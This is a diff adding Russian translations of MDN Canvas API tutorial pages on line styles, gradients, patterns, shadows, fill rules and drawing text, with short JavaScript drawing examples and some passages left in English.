+<p><img alt="" src="https://mdn.mozillademos.org/files/236/Canvas_linecap.png" style="float: right; height: 190px; width: 190px;"></p>
+
+<dl>
+ <dt><code>butt</code></dt>
+ <dd>Концы линий соответствуют крайним точкам.</dd>
+ <dt><code>round</code></dt>
+ <dd>Концы линий округлены.</dd>
+ <dt><code>square</code></dt>
+ <dd>Концы линий описаны квадратом с равной шириной и половиной высоты толщины линии.</dd>
+</dl>
+
+<p>В этом примере мы проведем три строки, каждая из которых имеет другое значение для свойства <code>lineCap</code>. Я также добавил два руководства, чтобы увидеть точные различия между ними. Каждая из этих линий начинается и заканчивается именно на этих направляющих.</p>
+
+<p>Строка слева использует <code>butt</code> опцию по умолчанию. Вы заметите, что она полностью очищена от направляющих. Второй вариант -  <code>round</code> опция. Это добавляет полукруг к концу, который имеет радиус, равный половине ширины линии. Строка справа использует <code>square</code> опцию. Это добавляет поле с равной шириной и половиной высоты толщины линии.</p>
+
+<pre class="brush: js;highlight[18] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var lineCap = ['butt','round','square'];
+
+  // Draw guides
+  ctx.strokeStyle = '#09f';
+  ctx.beginPath();
+  ctx.moveTo(10,10);
+  ctx.lineTo(140,10);
+  ctx.moveTo(10,140);
+  ctx.lineTo(140,140);
+  ctx.stroke();
+
+  // Draw lines
+  ctx.strokeStyle = 'black';
+  for (var i=0;i&lt;lineCap.length;i++){
+    ctx.lineWidth = 15;
+    ctx.lineCap = lineCap[i];
+    ctx.beginPath();
+    ctx.moveTo(25+i*50,10);
+    ctx.lineTo(25+i*50,140);
+    ctx.stroke();
+  }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Пример_lineCap", "180", "180", "https://mdn.mozillademos.org/files/236/Canvas_linecap.png")}}</p>
+
+<h3 id="Пример_lineJoin">Пример <code>lineJoin</code></h3>
+
+<p>Свойство <code>lineJoin</code> определяет, как соединяются два сегмента (линий, дуг или кривых) с ненулевой длиной в форме (вырожденные сегменты с нулевой длиной, заданные конечные точки и контрольные точки находятся точно в том же положении - пропущены).</p>
+
+<p>Для этого свойства есть три возможных значения: <code>round</code>, <code>bevel</code> и <code>miter</code>. По умолчанию для этого свойства установлено значение <code>miter</code>. Обратите внимание, что настройка <code>lineJoin</code> не действует, если два связанных сегмента имеют одно и то же направление, потому что в этом случае не будет добавлена ​​область соединения.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/237/Canvas_linejoin.png" style="float: right; height: 190px; width: 190px;"></p>
+
+<dl>
+ <dt><code>round</code></dt>
+ <dd>Радиус заполняемой части для скругленных углов равен половине ширины линии. центр этого радиуса совпадает с концами подключенных сегментов.</dd>
+ <dt><code>bevel</code></dt>
+ <dd>Заполняет дополнительную треугольную область между общей конечной точкой подключенных сегментов и отдельными внешними прямоугольными углами каждого сегмента. </dd>
+ <dt><code>miter</code></dt>
+ <dd>Подключенные сегменты соединяются путем расширения их внешних краев для соединения в одной точке с эффектом заполнения дополнительной области в форме пастилки. Эта настройка выполняется с помощью свойства <code>miterLimit</code>, которое объясняется ниже.</dd>
+</dl>
+
+<p>В приведенном ниже примере показаны три разных пути, демонстрирующие каждый из этих трех свойств <code>lineJoin</code>; результат - выше. </p>
+
+<pre class="brush: js;highlight[6] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var lineJoin = ['round','bevel','miter'];
+  ctx.lineWidth = 10;
+  for (var i=0;i&lt;lineJoin.length;i++){
+    ctx.lineJoin = lineJoin[i];
+    ctx.beginPath();
+    ctx.moveTo(-5,5+i*40);
+    ctx.lineTo(35,45+i*40);
+    ctx.lineTo(75,5+i*40);
+    ctx.lineTo(115,45+i*40);
+    ctx.lineTo(155,5+i*40);
+    ctx.stroke();
+  }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Пример_lineJoin", "180", "180", "https://mdn.mozillademos.org/files/237/Canvas_linejoin.png")}}</p>
+
+<h3 id="Демонстрация_свойства_miterLimit">Демонстрация свойства <code>miterLimit</code></h3>
+
+<p>Как вы видели в предыдущем примере, при объединении двух строк с опцией <code>miter</code> внешние края двух соединительных линий расширены до точки, где они встречаются. Для линий, которые находятся под большими углами друг с другом, эта точка находится недалеко от внутренней точки соединения. Однако, поскольку углы между каждой линией уменьшаются, расстояние (длина меча) между этими точками увеличивается экспоненциально.</p>
+
+<p>Свойство <code>miterLimit</code> определяет, как далеко можно установить внешнюю точку соединения из внутренней точки подключения. Если две линии превышают это значение, вместо этого получается привязка конуса. Обратите внимание, что максимальная длина митра является произведением ширины линии, измеренной в текущей системе координат, значением этого свойства <code>miterLimit</code> (значение по умолчанию 10,0 в HTML {{HTMLElement("canvas")}}), поэтому <code>miterLimit</code> может устанавливаться независимо от текущей шкалы дисплея или любых аффинных преобразований путей: она влияет только на эффективно визуализированную форму ребер линии.</p>
+
+<p>Точнее, предел митры является максимально допустимым отношением длины расширения (в холсте HTML он измеряется между внешним углом соединенных краев линии и общей конечной точкой соединительных сегментов, указанными на пути), до половины ширины линии. Его можно равнозначно определить как максимально допустимое отношение расстояния между внутренней и внешней точками перехода краев к общей ширине линии. Затем он равен косекансу с половиной минимального внутреннего угла соединительных сегментов, ниже которого не будет создано ни одного соединения митра, а только скос соединяется:</p>
+
+<ul>
+ <li><code>miterLimit</code> = <strong>max</strong> <code>miterLength</code> / <code>lineWidth</code> = 1 / <strong>sin</strong> ( <strong>min</strong> <em>θ</em> / 2 )</li>
+ <li>Предел митры по умолчанию, равный 10,0, разделит все митры углов, острее примерно 11 градусов.</li>
+ <li>Предел митры, равный √2 ≈ 1.4142136 (rounded up) сгладит миты для всех острых углов, поддерживая митры только для тупых или прямых углов.</li>
+ <li>Предел митры, равный 1,0, действителен, но отключит все миты.</li>
+ <li>Значения ниже 1.0 являются недопустимыми для предела митры.</li>
+</ul>
+
+<p>Вот небольшая демонстрация, в которой вы можете динамически установить <code>miterLimit</code> и посмотреть, как это влияет на фигуры на холсте. Синие линии показывают, где начальная и конечная точки для каждой из линий в шаблоне зигзага.</p>
+
+<p>Если вы укажете в этой демонстрации значение <code>miterLimit</code> ниже 4.2, ни один из видимых углов не присоединится к расширению митры, но только с небольшим скосом рядом с синими линиями; с отметкой <code>miterLimit</code> выше 10, большинство углов в этой демонстрации должны соединяться с митрой, удаленной от синих линий, высота которой уменьшается между углами слева направо, потому что они соединяются с растущими углами; с промежуточными значениями углы с левой стороны будут соединяться только с скосом рядом с синими линиями, а углы с правой стороны с удлинителем митры (также с уменьшающейся высотой).</p>
+
+<pre class="brush: js;highlight[18] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // Clear canvas
+  ctx.clearRect(0,0,150,150);
+
+  // Draw guides
+  ctx.strokeStyle = '#09f';
+  ctx.lineWidth   = 2;
+  ctx.strokeRect(-5,50,160,50);
+
+  // Set line styles
+  ctx.strokeStyle = '#000';
+  ctx.lineWidth = 10;
+
+  // check input
+  if (document.getElementById('miterLimit').value.match(/\d+(\.\d+)?/)) {
+    ctx.miterLimit = parseFloat(document.getElementById('miterLimit').value);
+  } else {
+    alert('Value must be a positive number');
+  }
+
+  // Draw lines
+  ctx.beginPath();
+  ctx.moveTo(0,100);
+  for (i=0;i&lt;24;i++){
+    var dy = i%2==0 ? 25 : -25 ;
+    ctx.lineTo(Math.pow(i,1.5)*2,75+dy);
+  }
+  ctx.stroke();
+  return false;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;td&gt;&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;&lt;/td&gt;
+    &lt;td&gt;Change the &lt;code&gt;miterLimit&lt;/code&gt; by entering a new value below and clicking the redraw button.&lt;br&gt;&lt;br&gt;
+      &lt;form onsubmit="return draw();"&gt;
+        &lt;label&gt;Miter limit&lt;/label&gt;
+        &lt;input type="text" size="3" id="miterLimit"/&gt;
+        &lt;input type="submit" value="Redraw"/&gt;
+      &lt;/form&gt;
+    &lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<pre class="brush: js notranslate">document.getElementById('miterLimit').value = document.getElementById('canvas').getContext('2d').miterLimit;
+draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Демонстрация_свойства_miterLimit", "400", "180", "https://mdn.mozillademos.org/files/240/Canvas_miterlimit.png")}}</p>
+
+<h3 id="Использование_штрихов">Использование штрихов</h3>
+
+<p>Метод setLineDash и свойство lineDashOffset задают шаблон штрихов для линий. Метод setLineDash принимает список чисел, который определяет расстояния для попеременного рисования линии и разрыва, а свойство lineDashOffset устанавливает смещение, с которого начинается шаблон.</p>
+
+<p>В этом примере мы создаем эффект походных муравьев. Это техника анимации, часто встречающаяся в инструментах выбора программ компьютерной графики. Это помогает пользователю отличить границу выделения от фона изображения, анимируя границу. В следующей части этого руководства вы узнаете, как сделать эту и другие основные анимации.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="110" height="110"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<pre class="brush: js;highlight[6] notranslate">var ctx = document.getElementById('canvas').getContext('2d');
+var offset = 0;
+
+function draw() {
+  ctx.clearRect(0,0, canvas.width, canvas.height);
+  ctx.setLineDash([4, 2]);
+  ctx.lineDashOffset = -offset;
+  ctx.strokeRect(10,10, 100, 100);
+}
+
+function march() {
+  offset++;
+  if (offset &gt; 16) {
+    offset = 0;
+  }
+  draw();
+  setTimeout(march, 20);
+}
+
+march();</pre>
+
+<p>{{EmbedLiveSample("Используемый штрих", "120", "120", "https://mdn.mozillademos.org/files/9853/marching-ants.png")}}</p>
+
+<h2 id="Градиенты">Градиенты</h2>
+
+<p>Just like any normal drawing program, we can fill and stroke shapes using linear and radial gradients. We create a {{domxref("CanvasGradient")}} object by using one of the following methods. We can then assign this object to the <code>fillStyle</code> or <code>strokeStyle</code> properties.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.createLinearGradient", "createLinearGradient(x1, y1, x2, y2)")}}</dt>
+ <dd>Creates a linear gradient object with a starting point of (<code>x1</code>, <code>y1</code>) and an end point of (<code>x2</code>, <code>y2</code>).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.createRadialGradient", "createRadialGradient(x1, y1, r1, x2, y2, r2)")}}</dt>
+ <dd>Creates a radial gradient. The parameters represent two circles, one with its center at (<code>x1</code>, <code>y1</code>) and a radius of <code>r1</code>, and the other with its center at (<code>x2</code>, <code>y2</code>) with a radius of <code>r2</code>.</dd>
+</dl>
+
+<p>For example:</p>
+
+<pre class="brush: js notranslate">var lineargradient = ctx.createLinearGradient(0, 0, 150, 150);
+var radialgradient = ctx.createRadialGradient(75, 75, 0, 75, 75, 100);
+</pre>
+
+<p>Once we've created a <code>CanvasGradient</code> object we can assign colors to it by using the <code>addColorStop()</code> method.</p>
+
+<dl>
+ <dt>{{domxref("CanvasGradient.addColorStop", "gradient.addColorStop(position, color)")}}</dt>
+ <dd>Creates a new color stop on the <code>gradient</code> object. The <code>position</code> is a number between 0.0 and 1.0 and defines the relative position of the color in the gradient, and the <code>color</code> argument must be a string representing a CSS {{cssxref("&lt;color&gt;")}}, indicating the color the gradient should reach at that offset into the transition.</dd>
+</dl>
+
+<p>You can add as many color stops to a gradient as you need. Below is a very simple linear gradient from white to black.</p>
+
+<pre class="brush: js notranslate">var lineargradient = ctx.createLinearGradient(0,0,150,150);
+lineargradient.addColorStop(0, 'white');
+lineargradient.addColorStop(1, 'black');
+</pre>
+
+<h3 id="Пример_createLinearGradient">Пример <code>createLinearGradient</code></h3>
+
+<p>In this example, we'll create two different gradients. As you can see here, both the <code>strokeStyle</code> and <code>fillStyle</code> properties can accept a <code>canvasGradient</code> object as valid input.</p>
+
+<pre class="brush: js;highlight[5,11] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // Create gradients
+  var lingrad = ctx.createLinearGradient(0,0,0,150);
+  lingrad.addColorStop(0, '#00ABEB');
+  lingrad.addColorStop(0.5, '#fff');
+  lingrad.addColorStop(0.5, '#26C000');
+  lingrad.addColorStop(1, '#fff');
+
+  var lingrad2 = ctx.createLinearGradient(0,50,0,95);
+  lingrad2.addColorStop(0.5, '#000');
+  lingrad2.addColorStop(1, 'rgba(0,0,0,0)');
+
+  // assign gradients to fill and stroke styles
+  ctx.fillStyle = lingrad;
+  ctx.strokeStyle = lingrad2;
+
+  // draw shapes
+  ctx.fillRect(10,10,130,130);
+  ctx.strokeRect(50,50,50,50);
+
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>The first is a background gradient. As you can see, we assigned two colors at the same position. You do this to make very sharp color transitions—in this case from white to green. Normally, it doesn't matter in what order you define the color stops, but in this special case, it does significantly. If you keep the assignments in the order you want them to appear, this won't be a problem.</p>
+
+<p>In the second gradient, we didn't assign the starting color (at position 0.0) since it wasn't strictly necessary, because it will automatically assume the color of the next color stop. Therefore, assigning the black color at position 0.5 automatically makes the gradient, from the start to this stop, black.</p>
+
+<p>{{EmbedLiveSample("Пример_createLinearGradient", "180", "180", "https://mdn.mozillademos.org/files/235/Canvas_lineargradient.png")}}</p>
+
+<h3 id="Пример_createRadialGradient">Пример <code>createRadialGradient</code></h3>
+
+<p>In this example, we'll define four different radial gradients. Because we have control over the start and closing points of the gradient, we can achieve more complex effects than we would normally have in the "classic" radial gradients we see in, for instance, Photoshop (that is, a gradient with a single center point where the gradient expands outward in a circular shape).</p>
+
+<pre class="brush: js;highlight[5,10,15,20] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // Create gradients
+  var radgrad = ctx.createRadialGradient(45,45,10,52,50,30);
+  radgrad.addColorStop(0, '#A7D30C');
+  radgrad.addColorStop(0.9, '#019F62');
+  radgrad.addColorStop(1, 'rgba(1,159,98,0)');
+
+  var radgrad2 = ctx.createRadialGradient(105,105,20,112,120,50);
+  radgrad2.addColorStop(0, '#FF5F98');
+  radgrad2.addColorStop(0.75, '#FF0188');
+  radgrad2.addColorStop(1, 'rgba(255,1,136,0)');
+
+  var radgrad3 = ctx.createRadialGradient(95,15,15,102,20,40);
+  radgrad3.addColorStop(0, '#00C9FF');
+  radgrad3.addColorStop(0.8, '#00B5E2');
+  radgrad3.addColorStop(1, 'rgba(0,201,255,0)');
+
+  var radgrad4 = ctx.createRadialGradient(0,150,50,0,140,90);
+  radgrad4.addColorStop(0, '#F4F201');
+  radgrad4.addColorStop(0.8, '#E4C700');
+  radgrad4.addColorStop(1, 'rgba(228,199,0,0)');
+
+  // draw shapes
+  ctx.fillStyle = radgrad4;
+  ctx.fillRect(0,0,150,150);
+  ctx.fillStyle = radgrad3;
+  ctx.fillRect(0,0,150,150);
+  ctx.fillStyle = radgrad2;
+  ctx.fillRect(0,0,150,150);
+  ctx.fillStyle = radgrad;
+  ctx.fillRect(0,0,150,150);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>In this case, we've offset the starting point slightly from the end point to achieve a spherical 3D effect. It's best to try to avoid letting the inside and outside circles overlap because this results in strange effects which are hard to predict.</p>
+
+<p>The last color stop in each of the four gradients uses a fully transparent color. If you want to have a nice transition from this to the previous color stop, both colors should be equal. This isn't very obvious from the code because it uses two different CSS color methods as a demonstration, but in the first gradient <code>#019F62 = rgba(1,159,98,1)</code>.</p>
+
+<p>{{EmbedLiveSample("Пример_createRadialGradient", "180", "180", "https://mdn.mozillademos.org/files/244/Canvas_radialgradient.png")}}</p>
+
+<h2 id="Шаблоны">Шаблоны</h2>
+
+<p>В одном из предыдущих примеров мы использовали несколько циклов, чтобы создать шаблон из повторяющихся изображений. Однако, есть более простой способ сделать подобное - метод <code>createPattern()</code>.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.createPattern", "createPattern(image, type)")}}</dt>
+ <dd>Создает и возвращает новый canvas объект - шаблон (pattern). <code>image</code> - {{domxref("CanvasImageSource")}} (то есть {{domxref ("HTMLImageElement")}}, другой холст, элемент {{HTMLElement ("video")}} или подобный  объект. <code>type</code> - строка, указывающая, как использовать <code>image</code>.</dd>
+</dl>
+
+<p>Тип указывает, как использовать image для создания шаблона и должен быть одним из следующих значений:</p>
+
+<dl>
+ <dt><code>repeat</code></dt>
+ <dd>Повторяет изображение в вертикальном и горизонтальном направлениях.</dd>
+ <dt><code>repeat-x</code></dt>
+ <dd>Повторяет изображение по горизонтали, но не по вертикали.</dd>
+ <dt><code>repeat-y</code></dt>
+ <dd>Повторяет изображение по вертикали, но не по горизонтали.</dd>
+ <dt><code>no-repeat</code></dt>
+ <dd>Не повторяет изображение. Используется только один раз.</dd>
+</dl>
+
+<p>Мы используем этот метод, чтобы создать {{domxref("CanvasPattern")}} объект, который очень похож на методы градиента, рассмотренные ранее. Как только мы создали шаблон, мы можем назначить ему свойства <code>fillStyle</code> или <code>strokeStyle</code>. Например:</p>
+
+<pre class="brush: js notranslate">var img = new Image();
+img.src = 'someimage.png';
+var ptrn = ctx.createPattern(img,'repeat');
+</pre>
+
+<div class="note">
+<p><strong>Примечание:</strong> По аналогии с методом <code>drawImage()</code>, вы должны убедиться, что изображение, которое вы используете, загружено до вызова этого метода. Иначе шаблон может быть отрисован некорректно.</p>
+</div>
+
+<h3 id="Пример_createPattern">Пример <code>createPattern</code></h3>
+
+<p>In this last example, we'll create a pattern to assign to the <code>fillStyle</code> property. The only thing worth noting is the use of the image's <code>onload</code> handler. This is to make sure the image is loaded before it is assigned to the pattern.</p>
+
+<pre class="brush: js;highlight[10] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // create new image object to use as pattern
+  var img = new Image();
+  img.src = 'https://mdn.mozillademos.org/files/222/Canvas_createpattern.png';
+  img.onload = function(){
+
+    // create pattern
+    var ptrn = ctx.createPattern(img,'repeat');
+    ctx.fillStyle = ptrn;
+    ctx.fillRect(0,0,150,150);
+
+  }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+
+<p>The result looks like this:</p>
+</div>
+
+<p>{{EmbedLiveSample("Пример_createPattern", "180", "180", "https://mdn.mozillademos.org/files/222/Canvas_createpattern.png")}}</p>
+
+<h2 id="Тени">Тени</h2>
+
+<p>Using shadows involves just four properties:</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowOffsetX", "shadowOffsetX = float")}}</dt>
+ <dd>Indicates the horizontal distance the shadow should extend from the object. This value isn't affected by the transformation matrix. The default is 0.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowOffsetY", "shadowOffsetY = float")}}</dt>
+ <dd>Indicates the vertical distance the shadow should extend from the object. This value isn't affected by the transformation matrix. The default is 0.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowBlur", "shadowBlur = float")}}</dt>
+ <dd>Indicates the size of the blurring effect; this value doesn't correspond to a number of pixels and is not affected by the current transformation matrix. The default value is 0.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowColor", "shadowColor = color")}}</dt>
+ <dd>A standard CSS color value indicating the color of the shadow effect; by default, it is fully-transparent black.</dd>
+</dl>
+
+<p>The properties <code>shadowOffsetX</code> and <code>shadowOffsetY</code> indicate how far the shadow should extend from the object in the X and Y directions; these values aren't affected by the current transformation matrix. Use negative values to cause the shadow to extend up or to the left, and positive values to cause the shadow to extend down or to the right. These are both 0 by default.</p>
+
+<p>The <code>shadowBlur</code> property indicates the size of the blurring effect; this value doesn't correspond to a number of pixels and is not affected by the current transformation matrix. The default value is 0.</p>
+
+<p>The <code>shadowColor</code> property is a standard CSS color value indicating the color of the shadow effect; by default, it is fully-transparent black.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Shadows are only drawn for <code>source-over</code> <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Compositing" title="Web/Guide/HTML/Canvas_tutorial/Compositing">compositing operations</a>.</p>
+</div>
+
+<h3 id="Пример_текста_с_тенью">Пример текста с тенью</h3>
+
+<p>This example draws a text string with a shadowing effect.</p>
+
+<pre class="brush: js;highlight[4,5,6,7] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.shadowOffsetX = 2;
+  ctx.shadowOffsetY = 2;
+  ctx.shadowBlur = 2;
+  ctx.shadowColor = "rgba(0, 0, 0, 0.5)";
+
+  ctx.font = "20px Times New Roman";
+  ctx.fillStyle = "Black";
+  ctx.fillText("Sample String", 5, 30);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="80"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Пример_текста_с_тенью", "180", "100", "https://mdn.mozillademos.org/files/2505/shadowed-string.png")}}</p>
+
+<p>We will look at the <code>font</code> property and <code>fillText</code> method in the next chapter about <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_text">drawing text</a>.</p>
+
+<h2 id="Canvas_fill_rules">Canvas fill rules</h2>
+
+<p>When using <code>fill</code> (or {{domxref("CanvasRenderingContext2D.clip", "clip")}} and {{domxref("CanvasRenderingContext2D.isPointInPath", "isPointinPath")}}) you can optionally provide a fill rule algorithm by which to determine if a point is inside or outside a path and thus if it gets filled or not. This is useful when a path intersetcs itself or is nested.<br>
+ <br>
+ Two values are possible:</p>
+
+<ul>
+ <li><code><strong>"nonzero</strong></code>": The <a class="external external-icon" href="http://en.wikipedia.org/wiki/Nonzero-rule">non-zero winding rule</a>, which is the default rule.</li>
+ <li><code><strong>"evenodd"</strong></code>: The <a class="external external-icon" href="http://en.wikipedia.org/wiki/Even%E2%80%93odd_rule">even-odd winding rule</a>.</li>
+</ul>
+
+<p>In this example we are using the <code>evenodd</code> rule.</p>
+
+<pre class="brush: js;highlight[6] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.beginPath();
+  ctx.arc(50, 50, 30, 0, Math.PI*2, true);
+  ctx.arc(50, 50, 15, 0, Math.PI*2, true);
+  ctx.fill("evenodd");
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="100" height="100"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Canvas_fill_rules", "110", "110", "https://mdn.mozillademos.org/files/9855/fill-rule.png")}}</p>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Drawing_shapes", "Web/API/Canvas_API/Tutorial/Drawing_text")}}</p>
diff --git a/files/ru/web/api/canvas_api/tutorial/рисование_текста/index.html b/files/ru/web/api/canvas_api/tutorial/рисование_текста/index.html
new file mode 100644
index 0000000000..90915c5e09
--- /dev/null
+++ b/files/ru/web/api/canvas_api/tutorial/рисование_текста/index.html
@@ -0,0 +1,166 @@
+---
+title: Рисование текста
+slug: Web/API/Canvas_API/Tutorial/Рисование_текста
+tags:
+  - Canvas
+  - Графика
+  - Примеры
+  - Рукводовство
+  - мануал
+translation_of: Web/API/Canvas_API/Tutorial/Drawing_text
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Applying_styles_and_colors", "Web/API/Canvas_API/Tutorial/Using_images")}}</div>
+
+<div class="summary">
+<p>После того, как мы увидели в предыдущей главе, как <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">применять стили и цвета</a>, взглянем на написание текста в canvas.</p>
+</div>
+
+<h2 id="Рисование_текста">Рисование текста</h2>
+
+<p>Контекст рендеринга canvas предоставляет два метода для рисования текста:</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fillText", "fillText(text, x, y [, maxWidth])")}}</dt>
+ <dd>Вставляет заданный текст в положении (x,y). Опционально может быть указана максимальная ширина.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeText", "strokeText(text, x, y [, maxWidth])")}}</dt>
+ <dd>Вставляет контур заданного текста в положении (x,y). Опционально может быть указана максимальная ширина.</dd>
+</dl>
+
+<h3 id="Пример_fillText">Пример <code>fillText</code></h3>
+
+<p>Текст вставлен с использованием текущего <code>fillStyle</code>.</p>
+
+<pre class="brush: js;highlight[4] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.font = "48px serif";
+  ctx.fillText("Hello world", 10, 50);
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="300" height="100"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_fillText_example", 310, 110)}}</p>
+
+<h3 id="Пример_strokeText">Пример <code>strokeText</code></h3>
+
+<p>Текст вставлен с использованием текущего <code>strokeStyle</code>.</p>
+
+<pre class="brush: js;highlight[4] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.font = "48px serif";
+  ctx.strokeText("Hello world", 10, 50);
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="300" height="100"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_strokeText_example", 310, 110)}}</p>
+
+<h2 id="Стилизация_текста">Стилизация текста</h2>
+
+<p>В примерах выше мы уже использовали свойство font для изменения размера текста. Кроме него существуют еще несколько свойств, позволяющие настроить вывод текста на canvas:</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.font", "font = value")}}</dt>
+ <dd>Это основной стиль, который будет использоваться для вывода текста. Строка имеет такой же синтаксис, как <a href="/en-US/docs/Web/CSS">CSS</a>-свойство {{cssxref("font")}}. По умолчанию - sans-serif высотой 10px.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.textAlign", "textAlign = value")}}</dt>
+ <dd>Настройка выравнивания текста. Возможные значения: <code>start</code>, <code>end</code>, <code>left</code>, <code>right</code> или <code>center</code>. По умолчанию - <code>start</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.textBaseline", "textBaseline = value")}}</dt>
+ <dd>Настройка выравнивания текста по вертикали. Возможные значения: <code>top</code>, <code>hanging</code>, <code>middle</code>, <code>alphabetic</code>, <code>ideographic</code>, <code>bottom</code>. По умолчанию - <code>alphabetic</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.direction", "direction = value")}}</dt>
+ <dd>Направление текста. Возможные значения: <code>ltr</code>, <code>rtl</code>, <code>inherit</code>. По умолчанию - <code>inherit</code>.</dd>
+</dl>
+
+<p>Эти свойства могут быть вам знакомы если вы работали с CSS.</p>
+
+<p>Изображение от <a class="external" href="http://www.whatwg.org/" title="http://www.whatwg.org/">WHATWG</a> ниже показывает различные варианты свойства <code>textBaseline</code>.<img alt="The top of the em square is
+roughly at the top of the glyphs in a font, the hanging baseline is
+where some glyphs like आ are anchored, the middle is half-way
+between the top of the em square and the bottom of the em square,
+the alphabetic baseline is where characters like Á, ÿ,
+f, and Ω are anchored, the ideographic baseline is
+where glyphs like 私 and 達 are anchored, and the bottom
+of the em square is roughly at the bottom of the glyphs in a
+font. The top and bottom of the bounding box can be far from these
+baselines, due to glyphs extending far outside the em square." src="http://www.whatwg.org/specs/web-apps/current-work/images/baselines.png"></p>
+
+<h3 id="Пример_textBaseline">Пример textBaseline</h3>
+
+<p>Редактируя код ниже, вы можете видеть, как меняется отображение текста на canvas в реальном времени:</p>
+
+<pre class="brush: js;highlight[2] notranslate">ctx.font = "48px serif";
+ctx.textBaseline = "hanging";
+ctx.strokeText("Hello world!", 0, 100);
+</pre>
+
+<div class="hidden">
+<h6 id="Playable_code" name="Playable_code">Playable code</h6>
+
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.font = "48px serif";
+ctx.textBaseline = "hanging";
+ctx.strokeText("Hello world", 0, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js notranslate">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
